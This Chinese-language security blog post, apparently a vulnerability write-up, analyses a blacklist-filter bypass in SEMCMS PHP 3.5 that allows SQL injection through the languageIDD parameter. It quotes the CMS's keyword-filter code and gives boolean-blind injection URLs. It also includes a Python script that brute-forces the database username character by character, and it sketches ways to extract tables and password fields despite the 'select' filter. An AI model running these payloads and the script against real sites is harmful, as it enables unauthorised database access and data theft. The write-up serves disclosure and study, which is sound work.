最新版SEMCMS_PHP_3.5 过滤不严导致sql注入
一、漏洞分析
在分析过程中看到网上已经有人发现semcms V2.4存在过滤不严导致sql注入的漏洞，不知道咋还没改，而且最新版过滤的关键字更少了。
首先查看首页文件index.php的代码
1 <?php 2 include_once 'Include/web_inc.php'; 3 include_once 'Templete/default/Include/Function.php'; 4 $file_url=""; 5 include_once 'Templete/default/Include/default.php'; 6 ?>
可以看到包含了三个文件，跟进文件Include/web_inc.php中发现有可控变量$languageIDD
1 //网站logo 2 3 $weblogo=$web_url_meate.str_replace('../','',$row['web_logo']); 4 5 // 控制文字标签 更改 获取的 语种 id 6 7 if (isset($_GET["languageIDD"])){$Language=test_input(verify_str($_GET["languageIDD"]));}else{$Language=verify_str($Language);} 8 9 if(!empty($Language)){ 10 11 //网站SEO设定 12 13 $query=$db_conn->query("select * from sc_tagandseo where languageID=$Language"); 14 $row=mysqli_fetch_array($query); 15 $tag_indexmetatit=datato($row['tag_indexmetatit']);// 首页标题
在文件Include/web_inc.php的第7行中verify_str()和test_input函数会对变量$languageIDD进行处理,它们都位于文件include/contorl.php中，代码如下
1 // 防sql入注 2 3 if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //所有GET方式提交的变量都进行防注入检查 4 5 foreach ($GetArray as $value){ //get 6 7 verify_str($value); 8 9 } 10 11 function inject_check_sql($sql_str) { 12 13 return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); //过滤关键字 14 } 15 16 function verify_str($str) { 17 18 if(inject_check_sql($str)) { 19 20 exit('Sorry,You do this is wrong! (.-.)'); //如果出现关键字则提示 21 } 22 23 return $str; 24 }
。。。
1 function test_input($data) { //防止XSS 2 $data = str_replace("<script", "", $data); 3 $data = str_replace("</script>", "", $data); 4 $data = str_replace("%", "percent", $data); 5 $data = trim($data); 6 $data = stripslashes($data); 7 $data = htmlspecialchars($data,ENT_QUOTES); //实体编码 8 return $data; 9 10 }
可以看到第16行的函数verify_str()调用inject_check_sql()用来过滤危险字符，函数test_input用来过滤xss。其中可以明显地看到第11行的函数inject_check_sql()采用白名单的方式是有缺陷的，我们可以用布尔盲注来绕过
二、漏洞验证
http://172.19.77.44/SEMCMS_PHP_3.5/index.php?languageIDD=1 and strcmp(left(user(),1), 0x72) rlike 0 显示正常
http://172.19.77.44/SEMCMS_PHP_3.5/index.php?languageIDD=1 and strcmp(left(user(),1), 0x73) rlike 0 显示不正常
参考网上已有的fuzz盲注脚本改了下，代码如下
#用python3版本 import requests url = "http://172.19.77.44/SEMCMS_PHP_3.5/index.php?languageIDD=1" print("Testing url: " + url) #十进制数33-126间的ascii hex值 payload = ["0x21","0x22","0x23","0x24","0x25","0x26","0x27","0x28","0x29","0x2a", "0x2b","0x2c","0x2d","0x2e","0x2f","0x30","0x31","0x32","0x33","0x34", "0x35","0x36","0x37","0x38","0x39","0x3a","0x3b","0x3c","0x3d","0x3e", "0x3f","0x40","0x41","0x42","0x43","0x44","0x45","0x46","0x47","0x48", "0x49","0x4a","0x4b","0x4c","0x4d","0x4e","0x4f","0x50","0x51","0x52", "0x53","0x54","0x55","0x56","0x57","0x58","0x59","0x5a","0x5b","0x5c", "0x5d","0x5e","0x5f","0x60","0x61","0x62","0x63","0x64","0x65","0x66", "0x67","0x68","0x69","0x6a","0x6b","0x6c","0x6d","0x6e","0x6f","0x70", "0x71","0x72","0x73","0x74","0x75","0x76","0x77","0x78","0x79","0x7a", "0x7b","0x7c","0x7d" ] user = "" for b in range(len(payload)): for a in payload: #sql_payload_user = " and strcmp(substr(database(),%s,1), 0x%s) rlike 0" % (b+1, a.replace("0x","")) #当前数据库名称 sql_payload_user = " and strcmp(substr(user(),%s,1), 0x%s) rlike 0" % (b+1, a.replace("0x","")) #当前数据库用户名 res = requests.get(url + sql_payload_user).text res1 = requests.get(url).text if len(res) == len(res1): #如果返回的内容长度大小一样，则表示匹配成功 user = user + a print(" ") print("[*]info : 0x" + user.replace("0x","").upper()) break else: print('\r',"Match failed,Next.....",end='')
测试结果如下图
解码ascii hex值0x726F6F74406C6F63616C686F7374为root@localhost。当然因为过滤了select，获取表名就有点困难了，t00ls中看到有人介绍用selselectect来绕过的方式跟这个CMS的过滤方式是不一样的，所以行不通。暂时想到的办法是可以找一与验证密码有关的注点，因为这个注点包含表名，所以可以通过fuzz猜测其字段名，最后通过字段名取得字段值，可以看下这篇文章blind-sql-injection-burpsuite-like-a-boss(要FQ)
文章参考地址：http://www.secist.com/archives/5990.html
